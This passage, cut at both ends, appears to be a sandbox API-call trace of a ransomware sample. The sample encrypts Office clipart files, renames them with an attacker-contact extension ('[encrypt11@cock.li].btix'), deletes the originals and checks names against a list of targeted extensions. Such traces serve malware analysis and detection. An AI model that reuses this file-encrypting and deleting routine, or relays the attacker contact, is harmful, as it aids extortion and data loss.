lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.015] SetEndOfFile (hFile=0x3a4) returned 1 [0159.016] CloseHandle (hObject=0x3a4) returned 1 [0159.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228959.wmf")) returned 1 [0159.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.017] lstrlenW (lpString=".doc") returned 4 [0159.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString=".docx") returned 5 [0159.017] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0159.017] lstrlenW (lpString=".pdf") returned 4 [0159.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString=".xls") returned 4 [0159.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.017] lstrlenW (lpString=".xlsx") returned 5 [0159.017] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0159.017] lstrlenW (lpString=".ppt") returned 4 [0159.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.017] lstrlenW (lpString=".zip") returned 4 [0159.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.017] lstrlenW (lpString=".rar") returned 4 [0159.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString=".bz2") returned 4 [0159.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString=".7z") returned 3 [0159.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.017] lstrlenW (lpString=".dbf") returned 4 [0159.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.017] lstrlenW (lpString=".1cd") returned 4 [0159.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228959.WMF") returned 68 [0159.017] lstrlenW (lpString=".jpg") returned 4 [0159.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.018] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.019] GetLastError () returned 0x0 [0159.019] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1daa, lpOverlapped=0x0) returned 1 [0159.020] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1db0, lpOverlapped=0x0) returned 1 [0159.021] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.021] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.021] SetEndOfFile (hFile=0x368) returned 1 [0159.021] CloseHandle (hObject=0x368) returned 1 [0159.021] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.022] SetEndOfFile (hFile=0x3a4) returned 1 [0159.025] CloseHandle (hObject=0x3a4) returned 1 [0159.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf")) returned 1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString=".doc") returned 4 [0159.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".docx") returned 5 [0159.026] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.026] lstrlenW (lpString=".pdf") returned 4 [0159.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".xls") returned 4 [0159.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.026] lstrlenW (lpString=".xlsx") returned 5 [0159.026] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.026] lstrlenW (lpString=".ppt") returned 4 [0159.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString=".zip") returned 4 [0159.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.026] lstrlenW (lpString=".rar") returned 4 [0159.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".bz2") returned 4 [0159.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString=".7z") returned 3 [0159.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString=".dbf") returned 4 [0159.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString=".1cd") returned 4 [0159.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF") returned 68 [0159.026] lstrlenW (lpString=".jpg") returned 4 [0159.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.027] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.027] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.028] GetLastError () returned 0x0 [0159.028] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1066, lpOverlapped=0x0) returned 1 [0159.030] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1070, lpOverlapped=0x0) returned 1 [0159.031] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.031] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.031] SetEndOfFile (hFile=0x368) returned 1 [0159.031] CloseHandle (hObject=0x368) returned 1 [0159.031] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.031] SetEndOfFile (hFile=0x3a4) returned 1 [0159.032] CloseHandle (hObject=0x3a4) returned 1 [0159.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf")) returned 1 [0159.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.033] lstrlenW (lpString=".doc") returned 4 [0159.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.033] lstrlenW (lpString=".docx") returned 5 [0159.033] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.033] lstrlenW (lpString=".pdf") returned 4 [0159.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.033] lstrlenW (lpString=".xls") returned 4 [0159.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.033] lstrlenW (lpString=".xlsx") returned 5 [0159.033] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.033] lstrlenW (lpString=".ppt") returned 4 [0159.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.033] lstrlenW (lpString=".zip") returned 4 [0159.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.033] lstrlenW (lpString=".rar") returned 4 [0159.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString=".bz2") returned 4 [0159.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString=".7z") returned 3 [0159.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.034] lstrlenW (lpString=".dbf") returned 4 [0159.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.034] lstrlenW (lpString=".1cd") returned 4 [0159.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF") returned 68 [0159.034] lstrlenW (lpString=".jpg") returned 4 [0159.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.034] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.034] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.035] GetLastError () returned 0x0 [0159.035] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x332a, lpOverlapped=0x0) returned 1 [0159.037] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3330, lpOverlapped=0x0) returned 1 [0159.038] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.038] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.038] SetEndOfFile (hFile=0x368) returned 1 [0159.039] CloseHandle (hObject=0x368) returned 1 [0159.039] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.039] SetEndOfFile (hFile=0x3a4) returned 1 [0159.040] CloseHandle (hObject=0x3a4) returned 1 [0159.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232171.wmf")) returned 1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString=".doc") returned 4 [0159.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".docx") returned 5 [0159.041] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0159.041] lstrlenW (lpString=".pdf") returned 4 [0159.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".xls") returned 4 [0159.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.041] lstrlenW (lpString=".xlsx") returned 5 [0159.041] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0159.041] lstrlenW (lpString=".ppt") returned 4 [0159.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString=".zip") returned 4 [0159.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.041] lstrlenW (lpString=".rar") returned 4 [0159.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".bz2") returned 4 [0159.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString=".7z") returned 3 [0159.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString=".dbf") returned 4 [0159.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString=".1cd") returned 4 [0159.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232171.WMF") returned 68 [0159.041] lstrlenW (lpString=".jpg") returned 4 [0159.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.042] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.042] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.042] GetLastError () returned 0x0 [0159.043] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x6bc2, lpOverlapped=0x0) returned 1 [0159.126] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x6bd0, lpOverlapped=0x0) returned 1 [0159.127] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.127] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.128] SetEndOfFile (hFile=0x368) returned 1 [0159.334] CloseHandle (hObject=0x368) returned 1 [0159.334] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.334] SetEndOfFile (hFile=0x3a4) returned 1 [0159.335] CloseHandle (hObject=0x3a4) returned 1 [0159.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf")) returned 1 [0159.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.336] lstrlenW (lpString=".doc") returned 4 [0159.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.336] lstrlenW (lpString=".docx") returned 5 [0159.336] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.336] lstrlenW (lpString=".pdf") returned 4 [0159.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.336] lstrlenW (lpString=".xls") returned 4 [0159.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.336] lstrlenW (lpString=".xlsx") returned 5 [0159.336] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.336] lstrlenW (lpString=".ppt") returned 4 [0159.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.336] lstrlenW (lpString=".zip") returned 4 [0159.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.336] lstrlenW (lpString=".rar") returned 4 [0159.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.336] lstrlenW (lpString=".bz2") returned 4 [0159.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.337] lstrlenW (lpString=".7z") returned 3 [0159.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.337] lstrlenW (lpString=".dbf") returned 4 [0159.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.337] lstrlenW (lpString=".1cd") returned 4 [0159.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF") returned 68 [0159.337] lstrlenW (lpString=".jpg") returned 4 [0159.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.338] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.338] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.338] GetLastError () returned 0x0 [0159.338] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x51be, lpOverlapped=0x0) returned 1 [0159.340] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x51c0, lpOverlapped=0x0) returned 1 [0159.341] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.341] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.341] SetEndOfFile (hFile=0x368) returned 1 [0159.342] CloseHandle (hObject=0x368) returned 1 [0159.342] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.342] SetEndOfFile (hFile=0x3a4) returned 1 [0159.342] CloseHandle (hObject=0x3a4) returned 1 [0159.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf")) returned 1 [0159.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.343] lstrlenW (lpString=".doc") returned 4 [0159.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.343] lstrlenW (lpString=".docx") returned 5 [0159.343] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0159.343] lstrlenW (lpString=".pdf") returned 4 [0159.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.343] lstrlenW (lpString=".xls") returned 4 [0159.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.344] lstrlenW (lpString=".xlsx") returned 5 [0159.344] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0159.344] lstrlenW (lpString=".ppt") returned 4 [0159.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.344] lstrlenW (lpString=".zip") returned 4 [0159.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.344] lstrlenW (lpString=".rar") returned 4 [0159.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.344] lstrlenW (lpString=".bz2") returned 4 [0159.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.344] lstrlenW (lpString=".7z") returned 3 [0159.344] lstrcmpiW 